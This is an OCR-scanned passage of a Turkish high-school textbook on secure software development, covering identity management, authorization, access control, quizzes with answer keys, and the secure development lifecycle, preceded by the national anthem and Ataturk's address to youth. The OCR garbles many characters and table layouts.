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ISTIKLAL MARSI

Korkma, sbnmez bu safaklarda yiizen al sancak;

Sonmeden yurdumun Gstiinde tiiten en son ocak.

O benim milletimin yildizidir, parlayacak;
O benimdir, o benim milletimindir ancak.

Catma, kurban olayim, ¢ehreni ey nazl1 hilél!

Kahraman irkima bir gul! Ne bu siddet, bu cel&l?

Sana olmaz dokilen kanlarimiz sonra heldl.
Hakkidir Hakk’ a tapan milletimin istikl&l.

Ben ezelden beridir hir yasachm, hir yasarim.
Hangi ¢ilgin bana zincir vuracakmis? Sasarim!
Kukremis sel gibiyim, bendimi cigner, asarim.
Y irtarim daglari, enginlere sigmam, tasarim.

Garbin &f &kini sarmigsa gelik zirhl duvar,
Benim iman dolu gogsiim gibi serhaddim var.
Ulusun, korkma! Nasil bdyle bir imant bogar,
Medeniyyet dedigin tek disi kalmig canavar?

Arkadas, yurduma algaklar ugratma sakin;
Siper et gévdeni, dursun bu hayésizca akin.
Dogacaktir sanava dettigi glinler Hakk’ 1n;
Kim bilir, belki yarin, belki yarindan dayakin.

Bastigin yerleri toprak diyerek gegme, tan::
Dustin altindaki binlerce kefensiz yatan.
Sen sehit oglusun, incitme, yaziktir, atan::
Verme, diinyalar alsan da bu cennet vatani.

Kim bu cennet vatamin ugruna olmaz ki feda?
Suheda fiskiracak toprag: siksan, stihedal
Céani, canan, biitin varim alsin da Huda,
Etmesin tek vatammmdan beni diinyada ctida.

Ruhumun senden 14hi, sudur ancak emeli:
Degmesin mabedimin gdgsiine ndmahrem eli.
Bu ezanlar -ki sehadetleri dinin temeli-

Ebedi yurdumun Usttinde benim inlemeli.

O zaman vecd ile bin secde eder -varsa tasim,
Her certhamdan ilahi, bosanp kanl1 yasim,
Figkarir ruh-1 micerret gibi yerden na sim;

O zaman yikselerek arsa deger belki bagim.

Dalgalan sen de safaklar gibi ey sanli hilal!
Olsun artik dokulen kanlarimin hepsi heldl.
Ebediyyen sana yok, irkimayok izmihl&l;
Hakkidir hir yasamis bayragimin hirriyyet;
Hakkidir Hakk’ a tapan milletimin istiklal!

Mehmet Akif Ersoy



GENCLIGE HITABE

Ey Turk gencligi! Birinci vazifen, Turk istiklalini, Tirk Cumhuriyetini,
ilelebet muhafaza ve mudafaa etmektir.

Mevcudiyetinin ve istikbalinin yegane temeli budur. Bu temel, senin en
kiymetli hazinendir. Istikbalde dahi, seni bu hazineden mahrum etmek
isteyecek dahili ve hérici bedhahlarin olacaktir. Bir giin, istiklal ve cumhuriyeti
midafaa mecburiyetine dusersen, vazifeye atilmak icin, i¢cinde bulunacagin
vaziyetin imkan ve seraitini distnmeyeceksin! Bu imkan ve serait, cok
namisait bir mahiyette tezahlr edebilir. istiklal ve cumhuriyetine kastedecek
diusmanlar, batun dinyada emsali gorilmemis bir galibiyetin - mimessili
olabilirler. Cebren ve hile ile aziz vatanin bitin kaleleri zapt edilmis, butin
tersanelerine girilmis, batun ordular: dagitilmis ve memleketin her kdsesi bilfiil
isgal edilmis olabilir. Bitiin bu seraitten daha elim ve daha vahim olmak tzere,
memleketin dahilinde iktidara sahip olanlar gaflet ve dalélet ve hattd hiyanet
icinde bulunabilirler. Hattd bu iktidar sahipleri sahsi menfaatlerini,
mustevlilerin siyasi emelleriyle tevhit edebilirler. Millet, fakr u zaruret iginde
harap ve bitap dusmds olabilir.

Ey Turk istikbalinin evladi! Iste, bu ahval ve serait icinde dahi vazifen,
Turk istiklal ve cumhuriyetini kurtarmaktir. Muhta¢ oldugun kudret,
damarlarindaki asil kanda mevcuttur.

Mustafa Kemal Ataturk
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Konulari ve konularin bulundugu
sayfa numaralarini gosterir.

| BLCME VE DEGERLENDIRME 3 -

Agafwdakl sorulann degru cevabim lparetleyiniz.

1. Giivenli yazilim geligtirmenin dnemi 4. Kullamicilarin glighii p ve

azafidaki segeneklerden hangisinde wvari transferlerinin gifrelenmesi gibi givenlik

belirtimigtir? agafidaki dan h o
alinabilir?

A) Estetik tasarim
B) Maliyeti arirmak A) Tesarim asamasi
) Kullarier verilerini korumak B) Analiz ayamas
O Kullanilabilicligi eptimize etmek €] Bakim agamast

Dl Jacub,

Ogrenme birimi ile ilgili lgme ve
degerlendirme galismalarini gos-
terir.

1. OGRENME BiRimI

I8 2 Na AN BE0 SeE AN RN F8 K10
C B A A D E A C B E

» Ozbilgin, i. G., & Ozlii, M. (2010). Yazthm Gelistirme Siirecleri ve ISO 27001 Bilgi Giivenligi
Yénetim Sistemi. Akademik Bilisim 2010.

» SARIMAN, G., & CELIKTEN, H. (2021). Yeni bir giivenli yaziim gelistirme uygulama modeli: GYG-
MOD. Uluslararasi Teknolojik Bilimler Dergisi, 13(1), 39-49.

UYGULAMA
> PHP dili ile kullamicidan ad ve e-mail bilgilerini girdi denetimi yaparak alan
uygulamay olusturma islemini verilen adimlar dogrultusunda gerceklestiriniz.

Ogrenme birimi ile ilgili dlgme
ve degerlendirme sorularinin
cevaplarini gosterir.

Ders materyali igeriginde yer
alan alintilarin yapildigi kaynak-
calari gosterir.

Ogrenme birimi igindeki uygula-
ma faaliyetlerini gosterir.




HAZIRLIK CALISMALARI )

1. Kimlik yonetimi, gtivenli yazihm geligtirme teknikleri, yazilim givenligi ve agik web uygulama
glvenligi kavramlar neleri kapsar? Diistnlerinizi arkadaglarinizla paylaginiz.

2, Size gore glglu sifreler nasil olugturulur ve yonetilir?
3. Coklu faktorli kimlik dogrulama (MFA) hakkindaki distincelerinizi arkadaglarinizla paylasiniz.
4, Siber giivenlik tehditlerine karsi nasil 6nlem alinir? Digiinlerinizi arkadaglarinizla paylaginiz.

5. Siber giivenlik kavrami neleri kapsar? Distnlerinizi arkadaglarinizla paylaginiz.

Konulara 6n hazirlik yapmak, 6g-
renme birimine 6grenciyi hazirla-
mak amaciyla yapilacak ¢alisma-
lari gosterir.

& 10, 20, 30, 40, 50, 60, 70 ve 80 olarak verilen bir veri setinin aritmetik
Lm ortalamasini bulmak igin 6énce tiim sayilar toplanir ve sayi adedine béliniir.
D Cikan sonug aritmetik ortalamayi verir. Aritmetik ortalamayi hesaplamak igin

su iglemler yapilir:
* Sayilarin toplami = 360'tir.

* Sayi adedi = 8'dir.
* Aritmetik ortalama (360 / 8) = 45 olarak bulunur.

Ogrenme birimi ile ilgili 6rnek ¢a-
lismayi gosterir.

Giivenli yaziim gelistirme modelleri, sirecte givenligi her asamaya déhil ( ARASTIRMA

etmeye odaklamir. Yaziim gelistirme yasam déngisi modellerinden biri
olan gevik (agile) modelini aragtriniz. Bu modelin faydalan nelerdir?
Givenligin bu modele dahil edilmesi ile nasil glar elde r? Ark

dilehili M

iz ile SImIZ.

Ogrenme birimi ile ilgili uygulama
etkinligini gosterir.

Ozellikler SAST DAST IAST

Statik uygulama gi- Etkilesimli  uygulama

Ders materyali iceriginde yer alan
tabloyu gosterir.

venligi testidir. Kaynak

Dinamik uygulama gu-
venligi testidir. Calisan

glivenligi testidir. Uygu-

1 Tanim ve Iglev kodu ve derlenmig lamanin ¢alisma zama-
Lo ¥ | uygulamanin davrani- .
kod izerinde analiz . ni davraniglanni izler ve
sini analiz eder. "
yapar. analiz eder.
Gelistirme asamasin- | Uygulama  calistinl-
" . Uygulama alisirken

2 Test Zamanlamasi da -kod yazilirken- ya- | diginda (6rnegin test U i

pilir.

sunucusunda) yapilir.

-canh ortamda- yapilir.

Daha hizli sonuglar ve-

rir ancak vanlis pozjtif

Yavas sonuglar verir,
canli uygulamalar

Daha hizh sonuglar ve-

rr ve gercek zamanl |

' 1- KiMLIK DOGRULAMA

Ogrenme biriminin adini ve nu-
marasini gosterir.

C# dilinde Models klasorii, bir yaziim projesinin genellikle veri yapisini ve uygulama
mantigini temsil eden model siniflarini ieren bir klasérdir. Bu klasér, uygulamanin igerdigi
veri nesnelerini, varliklarini veya is mantigi modellerini gruplamak ve diizenlemek amaciyla
kullanilir. Model siniflani genellikle veri tabani tablolarini veya dig veri kaynaklarini temsil

eden nesneleri igerir.

Konular pekistirici ve destekleyi-
ci ek bilgileri gosterir.
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 KIMLiK

DOGRULAMA

KONULAR.

1.1, KIMLIK YONETIMI
1.2. YETKILENDIRME
1.3. ERiSiM KONTROLU

" W . .
e Kimlik yonetimi giivenlik un-
surunda alinmasi gereken 6n-
lemleri agiklama

¢ Yetkilendirme giivenlik bileseni-
nin gorevlerini acitklama
e Erisim kontrolii glivenlik un-

surunda alinmasi gereken 6n-
lemleri agiklama




B 1. OGRENME BiRiMi

HAZIRLIK CALISMALARI )

1. Kimlik yonetimi kavrami ile zihninizde canlananlar nelerdir? Diistincelerinizi arkadaslarinizla
paylasiniz.

2. Glgld sifreler olusturmak neden 6nemlidir? Duslincelerinizi arkadaslarinizla tartisiniz.

3. Tum vyetkilere sahip olarak erisim sagladiginiz bir sistemde olumlu veya olumsuz hangi
durumlarla karsilasabilirdiniz? Duslncelerinizi arkadaslarinizla paylasiniz.

1.1. KIMLIK YONETiMI

Guvenli yazilm gelistirmenin temelinde saglam bir kimlik dogrulama sistemi yatar.

1.1.1. Kimlik Yonetimi Giivenlik Bilesenleri ve Gorevleri

Bu sistem, kullanicilarin ve sistemlerin kimliklerini dogrulayarak yetkisiz erisimi engeller ve hassas ve-
rilerin korunmasini saglar. Kimlik dogrulama, kullanicilarin sisteme erismek igin kullandig bilgileri (kul-
lanici adi, parola, biyometrik veriler vb.) sagladiklari siireci ifade eder (Gorsel 1.1). Kimlik dogrulama,
yalnizca yetkili kullanicilarin sisteme erismesini saglamakla kalmaz veri gizliligini ve uygulama guven-
ligini de artinir. Kimlik dogrulama, glivenli yazihm gelistirmenin her asamasinda disinilerek sisteme
entegre edilmelidir. Ornegin bir yazilimin tasarim asamasinda kullanicilarin giiglii parolalar kullanmasi
ve oturum agcma islemleri ile veri transferlerinin sifrelenmesinin tesvik edilmesi gibi giivenlik 6nlemleri
alinabilir. Kodlama asamasinda kullanici girislerinin dogrulanmasi, hassas verilerin sifrelenip korunmasi,
yazilimin koétt amach kodlara karsi korunmasi gibi glivenlik dnlemleri alinabilir. Kullanim ve bakim asa-
masinda kullanicilarin glicli parolalar kullanmasi, oturum agcma islemleri ve veri transferlerinin sifre-
lenmesi, glivenlik yamalarinin zamaninda uygulanmasi, yazilimin glivenlik durumunun siirekli izlenmesi
gibi glivenlik dnlemleri alinabilir.

Gorsel 1.1: Kimlik dogrulama
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Kimlik yonetimi; kullanicilarin kimlik bilgilerini glivenli bir sekilde yonetme, dogrulama, yetkilendirme
ve denetleme siirecini iceren bir yaklasimdir. Kullanici adlari, parolalar, biyometrik veriler gibi kimlik
bilgileri glicli sifreleme yontemleriyle korunur. Ayni zamanda kimlik yonetimi; kullanicilarin kimlik
bilgilerini olusturmasini, giincellemesini ve silmesini iceren yasam dongiisii yonetimini kapsar. Bu
sureg, yetkisiz erisimlere karsi savunma mekanizmalariyla desteklenir. Bir diger dnemli yonuyle kimlik
yonetimi (Gorsel 1.2), yetkilendirme sirecini icerir. Kullanicilarin kimlik dogrulamasinin ardindan hangi
kaynaklara erisebileceklerini belirlemek icin yetkilendirme kontrolleri uygulanir. Bu, kullanicilara sadece
ihtiya¢ duyduklari kaynaklara erisim izni vererek giivenligi artirir. Ornegin tiim kullanicilar her veri ve
hizmete erisememelidir. Yalnizca kendilerine tanimlanan belirli verilere veya hizmetlere erisimlerine
izin verilmelidir.

Gorsel 1.2: Kimlik yonetimi

Kimlik yoénetimi, denetim ve izleme yeteneklerini de icerir. Sistem yoneticileri ve glivenlik uzmanlari;
kullanicilarin kimlik dogrulama ve erisim aktivitelerini izleyebilir, anormal durumlari tespit edebilir ve
gerektiginde midahalede bulunabilir.

Kimlik yonetimi stratejileri ve teknolojileri; kullanici verilerinin korunmasi, yetkisiz erisimlerin dnlenmesi
ve genel sistem glvenliginin saglanmasi icin modern yazilim uygulamalarinin vazgecilmez bilesenidir.

1.1.2. Kimlik Yonetimi Uygulama Sekilleri
Kimlik yonetiminin uygulama sekilleri sunlardir:

o Merkezi Kimlik Yonetimi

Bir merkezi sistem veya veri tabani kullanilarak tim kullanici kimlikleri ve yetkileri yonetilir. Bu
islem, kurulusun tiim kaynaklara tek bir yerden erismesini saglayabilir ve kimlik yonetimi strecini
merkezi bir sekilde kontrol etmeyi kolaylastirir.

e Dagitik Kimlik Yonetimi

Kimlik bilgileri ve yetkiler, farkli sistemler veya kaynaklar arasinda dagitilarak yonetilir. Bu yontem,
kurulusun farkh sistemler veya kaynaklar arasinda kullanicilari izlemesini ve erisimleri kontrol
etmesini saglar.

Kimlik Yonetiminin Gorevleri

e Kullanicl Kimlik Bilgilerini Giivenli Bir Sekilde Yonetmek

Kullanici kimlik bilgileri, glicll sifreleme yontemleriyle korunur ve yetkisiz erisimlere karsl savunma
mekanizmalari ile donatilir.
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Kimli

Kullanicilari Dogrulamak

Kullanicilar, kimlik dogrulama stirecinde kimlik bilgilerini saglarlar ve bu bilgiler dogrulanir.

Kullanicilara Erisim Yetkisi Vermek

Kullanicilarin kimlik dogrulamasinin ardindan hangi kaynaklara erisebileceklerini belirlemek igin
yetkilendirme kontrolleri uygulanir.

Kullanici Erisim Aktivitelerini izlemek

Sistem yoneticileri ve giivenlik uzmanlari; kullanicilarin kimlik dogrulama ve erisim aktivitelerini
izleyebilir, anormal durumlari tespit edebilir ve gerektiginde miidahalede bulunabilir.

k yonetiminin faydalari sunlardir:
Kullanici verilerinin korunmasi
Yetkisiz erisimlerin dnlenmesi

Genel sistem glivenliginin saglanmasi
Kullanici deneyiminin iyilestirilmesi

is verimliliginin artirilmasi

Maliyetlerin distrilmesi

Kullanicilar ve kuruluslar igin kimlik yonetimi oldukg¢a 6nemlidir. Kullanicilar, kimlik yonetimi sayesinde
verilerinin ve sistemlerinin giivende oldugunu bilerek daha rahat bir sekilde calisabilir. Kuruluslar ise
kimlik yonetimi sayesinde riskleri azaltabilir, maliyetleri distrebilir ve is verimliligini artirabilir.

1.1.
Kimli

3. Kimlik Yonetimi Giivenlik Unsurunda Alinmasi Gereken Onlemler
k yonetiminin glivenlik unsurunda alinmasi gereken 6nlemler su sekildedir:

Giclii Sifreler

Sifreler, tahmin edilmesi gli¢ ve karmasik olmahdir. Sifrelerin icinde rakamlar, biyik-kigik harfler,
semboller gibi farkh karakter tirleri bulunmalidir.

izin Kontrolii

Kullanicilara ihtiyaglarina uygun izinleri vermek 6énemlidir. Glvenligi saglamak icin de izinlerin
kontrolii dnemlidir.

Diizenli Kontrol

izinlerin zaman zaman kontrol edilmesi ve gereksiz olanlarin kaldirilmasi unutulmamalidir.

Cift Faktorli Kimlik Dogrulama

Sadece bir adim yerine birka¢ adimin gecilmesi gereken giris yontemleri, sisteme girisi zorlastir-
makla birlikte glvenligi artirir.
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1.2. YETKILENDIRME

KIMLIK DOGRULAMA Yl

Asagidaki bulmacayi ¢oziiniiz.

DIiKEY

1. Kimlik yéonetiminin temel

amaci nedir?

2. Kimlik yonetimi ile hangi

bilgiler korunur?

3. Kimlik dogrulama ilk olarak

hangi yazilim gelistirme
asamasinda uygulanir?

5. Merkezi kimlik yonetiminin

avantaji nedir?

7. Kimlik yénetiminin hangi

unsuru kullanicilarin
erisebilecegi kaynaklarn belirler?

YATAY

4. Dagitik kimlik yonetiminin

dezavantaji nedir?

6. Kimlik dogrulamada en gok

kullanilan yontem nedir?

8. Kimlik yonetimi ile hangi

erisimler engellenir?

Yetkilendirme, kullanicilarin sisteme giris yaptiginda (Gorsel 1.3) hangi kaynaklara erisebileceklerini
belirlemeyi amaclayan bir siirectir. Bu sayede kullanicilar yalnizca ihtiya¢ duyduklari kaynaklara erise-
bilirler. Boylece glivenlik artirthir. Kimlik dogrulama islemi sonrasinda gerceklesen yetkilendirme icin
kullanicinin rolii, konumu gibi faktérler gbz dniinde bulundurulur. Ornegin yénetici tiim kaynaklara
erisebilirken bir kullanici yalnizca belirli bir uygulamaya veya dosyaya erisebilir. Bu islem; yetkisiz eri-
simleri engellemek, yetkilerin kotlye kullanilmasini 6nlemek ve giivenlik agiklarini azaltmak amaciyla

yapilir.

Gorsel 1.3: Sisteme giris islemi

- h e
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1.2.1. Yetkilendirme Giivenlik Bilesenleri ve Gorevleri

Yetkilendirmenin glivenlik bilesenleri ve gorevleri su sekildedir:
Yetkilendirme Yontemleri

e Rol Tabanli Erisim Denetimi (RBAC)

Rol tabanli erisim denetimi yonteminde, kullanicilara roller atanir. Roller, kullanicilarin erisebilecegi
kaynaklari belirler.

e Kullanici Tabanli Erisim Denetimi (UBA)

Kullanici tabanl erisim denetimi yénteminde, kullanicilara izinler atanir. izinler kullanicilarin
erisebilecegi belirli kaynaklari ve islemleri belirler.

e Yer Tabanl Erisim Denetimi (LBA)

Yer tabanli erisim denetimi yonteminde, kaynaklara erisim kullanicilarin konumuna gore belirlenir.
Ornegin bir kullanici yalnizca ofisinden belirli bir uygulamaya erisebilir.

Yetkilendirme Politikalari

Yetkilendirme politikalari ve prosedirleri kimlerin, hangi kaynaklara erisebilecegini belirler. Bu
politikalarin anlasilir ve basit olmasi, bunlarin herkes tarafindan uyulmasini kolaylastirir. Ayrica yetkiler
duzenli olarak gdozden gecirilmeli, kullanicilara ve sistem yoneticilerine bildirilmelidir.

Yetkilendirmenin Onemi

e Yetkilendirme, kullanicilarin yalnizca ihtiya¢ duyduklari kaynaklara erismesini saglayarak yetkisiz
erisimleri onler.

¢ Yetkilendirme, kullanicilarin yetkilerini kotlye kullanmalarini dnlemeye yardimci olur.

e Yetkilendirme, sistemdeki glivenlik agiklarini azaltmaya yardimci olur.

1.2.2. Yetkilendirme Giivenlik Unsurunda Alinmasi Gereken Onlemler

e Yetkilendirme kontrolleri, kullanicilarin yetkisiz erisimlerine karsi koruma saglamak igin kullantlir.
Bu kontroller; kullanici kimlik bilgilerini dogrulamak, kullanicilarin erismeye calistigi kaynaklari
sinirlamak, kullanici aktivitelerini izlemek gibi cesitli sekillerde olabilir.

e Kullanicilarin yetkileri dizenli olarak goézden gecirilmelidir. Bu, kullanicilarin rollerinde veya
sorumluluklarinda degisiklik olup olmadigini belirlemek icin 6nemlidir. Kullanicilarin yetkileri
gerekli degilse kaldiriimalidir.

e Yetkilendirme sistemleri dizenli olarak test edilmelidir. Bu islem, sistemdeki gtivenlik agiklarini
belirlemek ve dizeltmek icin 6nemlidir.

Yetkilendirme, kullanicilarin verilerini ve sistemlerini korumaya yardimci olan énemli bir gtivenlik un-
surudur.

ARASTIRMA ) Yetkilendirme, kullanicilarin bir bilgi sistemine veya aga erisebilecekleri

kaynaklari ve islemleri belirleme islemidir. Yetkilendirme; rol tabanli eri-
sim denetimi (RBAC), kullanici tabanl erisim denetimi (UBA) ve yer tabanli erisim denetimi
(LBA) yontemleri ile gerceklestirilebilir. Bu yontemlerin avantajlarini ve dezavantajlarini arasti-

riniz. Edindiginiz bilgileri arkadaslarinizla paylasiniz.
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Bilgi caginin hizla ilerledigi dijital diinyada milyarlarca veri noktasi bulunur. Bu verilere erisim, teknolojik
gelismelerin yani sira gizlilik ve givenlik konularini beraberinde getirir. insanlar, kurumlar hatta devletler
hassas verilerini korumak, sinirlamak ve dogru kisilerin ulasimini saglamak amaciyla erisim kontroli
yontemlerine yonelir.

1.3. ERiSIM KONTROLU

Erisim kontroll adi verilen bu 6nemli glivenlik unsuru, verilere giivenli ve kontrolli bir sekilde erisim
saglama amacini tasir. Bircok farkl sektorde, kurulusta veya bireysel diizeyde verilere erisimi diizenleme
ihtiyaci artmistir. Erisim kontroli sadece yetkilendirilmis kisilerin belirli kaynaklara veya verilere
ulasmasini saglamakla kalmaz, gizlilik ve bitinligi de korur (Gorsel 1.4).

Gorsel 1.4: Erisim kontroli

1.3.1. Erisim Kontrolii Giivenlik Bileseninin Gorevleri

Erisim kontroli, bir sistemdeki kaynaklara kimin erisebilecegini ve hangi islemleri gerceklestirebilecegini
belirleyen bir glivenlik bilesenidir. Bu bilesenin temel gorevleri sunlardir:

e izin Verme
izin verme, yetkilendirmenin bir parcasidir. Yetkilendirme, kimin neyi yapabilecegini belirlemek igin
kullanilan bir giivenlik kavramidir. Kimlik dogrulamasinin ardindan gelir ve kimlik dogrulamasinin
bir parcasi olarak elde edilen bilgilere dayanir.

e Zaman Kontrolii
Bazi durumlarda erisim siresini sinirlamak énemlidir. Belirli bir tarih araliginda veya saat diliminde
erisime izin vermek yahut engellemek ihtiyaglara gére gerekli olabilir.

¢ Konum Kontrolii

Kimi zaman sadece belli bir konumdan erisime izin vermek giivenlik icin gerekli olabilir. Ornegin
sadece yerel ag Gizerinden belirli bilgilere veya alanlara erisim izni verilebilir.

1.3.2. Erisim Kontroliiniin Giivenlik Unsurunda Alinmasi Gereken Onlemler

Erisim kontroliintin glivenlik unsurunda etkin olmasi i¢in ¢esitli nlemlerin alinmasi hayati 6nem tasir.

Bu 6nlemlerden bazilari sunlardir:
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e Giiclii Kimlik Dogrulama ve Yetkilendirme
Erisim kontrolliniin temeli, glcli kimlik dogrulama ve yetkilendirme strecidir. Kullanicilarin
kimliklerini kanitlamasi ve hangi kaynaklara erisebileceginin belirlenmesi, yetkisiz erisimleri
engellemek igin hayati 5neme sahiptir.

e En Az Ayricalik Prensibi
Kullanicilara yalnizca ihtiyag duyduklari minimum erisimi saglama prensibi, erisim kontrolinin
merkezinde yer alir. Bu, gereksiz riskleri azaltirken veri glivenligini artirir.

e Rol ve izin Yonetimi
Erisim kontrolliinde roller ve izinler yonetilmelidir. Kullanicilarin rolleri (6rnegin g¢alisan, yonetici
vb.) ve bu rollerin sahip oldugu izinler (verilere erisim, diizenleme yetkisi vb.) belirlenmelidir.

e Siirekli izleme ve Denetim
Erisim kontroll sdrekli izleme ve denetim gerektirir. Kullanicilarin erisim aktiviteleri izlenmeli,
anormal durumlar tespit edilmeli ve gerektiginde miidahale edilmelidir.

e Veri Sifreleme
Erisim kontrollinlin bir parcasi olarak hassas verilerin sifrelenmesi 6nemlidir. Bu, yetkisiz erisim
durumunda dahi verilerin glivende kalmasini saglar.

e Oturum Siire Kontrolii
Kullanici oturumlarinin belirli bir siire sonunda otomatik olarak sonlandirilmasi, yetkisiz kisilerin
acik kalan oturumlari kullanma riskini azaltir.

e (Cift Faktorlii Kimlik Dogrulama
ikinci bir dogrulama asamasinin eklenmesi (6rnegin SMS kodu veya biyometrik veriler), kimlik
dogrulama glivenligini artirir.

e Zararh Yazilim ve Tehdit Analizi
Erisim kontroll ayni zamanda zararli yazihm ve tehdit analizini icermelidir. Bu, kotli amach
yazilimlarin ve saldirilarin erken tespitini saglar.

e Kullanic Egitimi
Kullanicilarin glivenli erisim ve kimlik ydnetimi konusunda egitilmesi, giivenlik farkindahgini artirir
ve hatali erisimlerin 6nlenmesine yardimci olur.

e Giivenlik Testleri ve Degerlendirmeler
Erisim kontrolii mekanizmalarinin diizenli olarak test edilmesi ve glivenlik aciklarinin tespit

edilmesi slirekli iyilestirmeyi saglar.

Belirtilen bu onlemler, erisim kontroliinlin giivenlik unsuruyla iliskilendirildigi temel adimlardir. Her
organizasyon veya kurum, ihtiyaclarina uygun bu énlemleri 6zellestirerek uygulamalidir. Bu sayede bilgi
sistemlerinin glvenligini ve verilerinin gizliligini etkin bir sekilde saglayabilir.
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| "OLCME VE DEGERLENDIRME % -

A) Asagidaki ciimlelerde parantezlerin igine yargilar dogru ise “D”, yanlis ise “Y” yaziniz.

1. (...) Kimlik dogrulama, kullanicilarin kimliklerini dogrulama islemidir.

2.

3.
icermelidir.

(...) Erisim kontrold, kullanicilarin ne kadar sireyle bir kaynaga erisebilecegini belirleme islemidir.

(...) Glgll bir parola en az 8 karakterden olusmali, buyik ve kiiglk harfler, rakamlar ve semboller

B) Asagidaki ciimlelerde bos birakilan yerlere dogru sézciikleri yaziniz.

........................ erisim denetimi yonteminde, kullanicilara roller atanur.

Yetkilendirme, kullanicilarin sisteme giris yaptiginda hangi .......c..cccoeueueee. erisebileceklerini
belirlemeyi amaglayan bir siirectir.

Sistem yoneticileri ve ......ccccccevvevene. , kullanicilarin kimlik dogrulama ve erisim aktivitelerini
izleyebilir.

C) Asagidaki sorularin dogru cevabini isaretleyiniz.

1. Giivenli yazilim gelistirmenin 6nemi asagidaki
segeneklerden hangisinde belirtilmistir?
A) Estetik tasarim
B) Maliyeti artirmak.
C) Kullanici verilerini korumak.
D) Kullanilabilirligi optimize etmek.

E) Yazilimin boyutunu artirmak.

. Kimlik dogrulama islemi ile kullanicilarin
saglayacag bilgiler asagidakilerden hangisidir?
A) Yemek tercihleri
B) Parola
C) Telefon numarasi
D) Favori renk

E) Dogum tarihi

3. Giiglui sifrelerin 6zelligi asagidakilerden
hangisidir?
A) Tahmin edilmesi zor ve karmasik olmasi

B) Kisa ve sik kullanilan kelimelerden
olusmasi

C) En ¢ok 8 karakterden olusmasi
D) Sadece rakamlardan olusmasi

E) Baska kisilerin isimleri olmasi

4. Kullanicilarin giiglii parolalar kullanmasi

ve veri transferlerinin sifrelenmesi gibi
giivenlik 6nlemleri asagidaki asamalardan
hangisinde alinabilir?

A) Tasarim asamasi

B) Analiz asamasi

C) Bakim asamasi

D) Taniim asamasi

E) Kodlama asamasi
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5. Merkezi kimlik yonetimi asagidaki

yontemlerden hangisini kullanarak tiim
kullanici kimliklerini ve yetkilerini yonetir?
A) Kimlik dogrulama

B) Dagitik kimlik yonetimi

C) Rol tabanli erisim denetimi

D) Kimlik yonetimi

E) Dort faktorlt kimlik dogrulama

. Erisim kontroliiniin tanimi asagidakilerden
hangisidir?

A) Verileri kaydetme ve saklama sirecidir.

B) Verileri sikistirma strecidir.

C) Verileri paylasma ve erisimi artirma sirecidir.
D) Verileri sifreleme siirecidir.

E) Verilere glivenli ve kontrolli erisim saglama
surecidir.

. Erisim kontrolii asagidaki durumlarin
hangisinde kullanicilarin belirli bir konumdan
erisimine izin verebilir?

A) Yerel ag Gizerinden

B) internet kafelerden

C) Herhangi bir konumdan

D) Sadece ofisten

E) Mobil veri agi tizerinden

8. En az ayricalik prensibi ile asagidakilerden
hangisi ifade edilir?
A) En fazla izin verilen prensip
B) Gereksiz riskleri artirma prensibi

C) Kullanicilara yalnizca ihtiya¢ duyduklari
minimum erisimi saglama prensibi

D) Rastgele izin verme prensibi

E) izinlerin her kullanici icin ayni olmasi
prensibi

9. Asagidaki erisim kontrolii yéntemlerinden
hangisi ile kullanicilara roller atanir ve bu
rollerle kullanicilarin erisebilecegi kaynaklar
belirlenir?

A) Kullanici tabanli erisim denetimi (UBA)
B) Rol tabanli erisim denetimi (RBAC)

C) Yer tabanli erisim denetimi (LBA)

D) izin tabanli erisim denetimi (PBA)

E) Ogrenme tabanli erisim denetimi (LBA)

10. Asagidaki erisim kontrolii 6nlemlerinden
hangisi ile kullanici oturumlarinin
belirli bir siire sonunda otomatik olarak
sonlandirilmasi saglanir?
A) Cift faktorla kimlik dogrulama
B) Zararli yazihm ve tehdit analizi
C) Kullanici egitimi
D) Oturum kilitleme

E) Oturum sire kontroli
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GUVENLI YAZILIM
GELISTIRME TEKNIKLERI

KONULAR

2.1. GUVENLI YAZILIM GELISTIRME
YASAM DONGUSU

2.2. GUVENLi KODLAMA TEKNIKLERI

2.3. GUVENLI KOD iNCELEME

2.4. GUVENLI WEB SERVISi VE AJAX

® Yazilim gelistirme yasam
doénglsiinii ve asamalarini
gerceklestirme

¢ Giivenli kodlama tekniklerini
kullanma

¢ Giivenli kod incelemesi uygu-
lamalarini yapma

e Web servisi ve AJAX zafiyetlerine
karsi 6nlem alabilme

TEMEL KAVRAMLAR

Ajax, BSIMM, Microsoft SDL, OWASP, SDLC, SQL Injection, XML, XSS.
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HAZIRLIK CALISMALARI )

1. Yazilim gelistirmeye baslamadan once yapilmasi gerekenler nelerdir? Diisiincelerinizi
arkadaslarinizla paylasiniz.

2. Yazilim gelistirirken kodlamada glivenlik nasil saglanabilir ve bunun icin nelere dikkat
edilmelidir?

Web servisleri dendiginde zihninizde canlananlar nelerdir?

4. Web servislerinin glivenligi neden 6nemlidir? Dislincelerinizi arkadaslarinizla paylasiniz.

2.1. GUVENLI YAZILIM GELiSTIRME YASAM DONGUSU

Yazilim gelistirme yasam donglisii [Software Development
Life Cycle (SDLC)], bir yazilim projesinin baslangicindan
sonuna kadar gecen sireci ifade eder (Sema 2.1). Bu sireg;
yazihmin planlanmasi, tasarimi, kodlamasi, test edilmesi,
dagitilmasi ve strdirilmesiniicerir. Yazilim gelistirme yasam
dongiisli bes asamadan olusur.

1. Planlama: Yazilim gelistirme siirecinin baslangi¢c asamasi-
dir. Bu asamada proje ekibi, misteri ihtiyaglarini anlamak ve
projenin basarili bir sekilde hayata gegirilebilmesi adina ge- il
rekli planlamayi yapmak icin bir araya gelir. Projenin hedef- A 3
leri belirlenir ve fizibilitesi degerlendirilir. Kaynaklar, zaman TASARIM
cizelgesi ve riskler goz 6niinde bulundurularak detayli bir )
proje plani olusturulur. Bu asamada glivenlik gereksinimleri
de belirlenerek risk analizleri yapilir.

Sema 2.1: Yazilim gelistirme yasam déngusu

2. Analiz: Planlama asamasinin tamamlanmasinin ardindan

projenin gereksinimleri ve hedefleri daha ayrintili olarak analiz edilir. Misteri ihtiyaglari belirlenir ve bu
ihtiyaclarin nasil karsilanacagina dair ¢ézimler aranir. Temel UML [Unified Modelling Language (Birlesik
Modelleme Dili)] diyagramlari ve analitik yontemler kullanilarak projenin teknik detaylari ve riskleri
belirlenir. Bu asamada elde edilen bilgiler, belirli bir dokiimantasyon formatinda dizenlenir.

3. Tasarim: Analiz asamasinin sonugclarina dayanilarak yazilimin nasil yapilacagini ve istenen islevsellige
nasil ulasilacagini planlamak icin tasarim asamasina gecilir. Sistem mimarisi belirlenir, veri tabani
yapisi tasarlanir ve kullanici araylziiniin tasarimi gergeklestirilir. Soyutlama (Abstraction) teknikleri
